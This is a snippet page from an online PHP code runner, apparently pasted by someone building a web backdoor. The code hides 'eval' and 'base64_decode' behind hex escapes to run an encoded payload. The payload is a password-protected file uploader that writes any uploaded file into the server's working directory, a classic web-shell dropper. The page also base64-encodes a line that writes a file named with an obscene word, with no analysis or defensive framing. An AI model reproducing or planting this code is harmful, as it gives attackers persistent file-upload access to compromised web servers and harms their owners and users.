3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = ' <?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("./rape.php",\'test\');'; echo base64_encode($v);
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.12 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
ZmlsZV9wdXRfY29udGVudHMoIi4vcmFwZS5waHAiLCd0ZXN0Jyk7

preferences:
219.66 ms | 405 KiB | 311 Q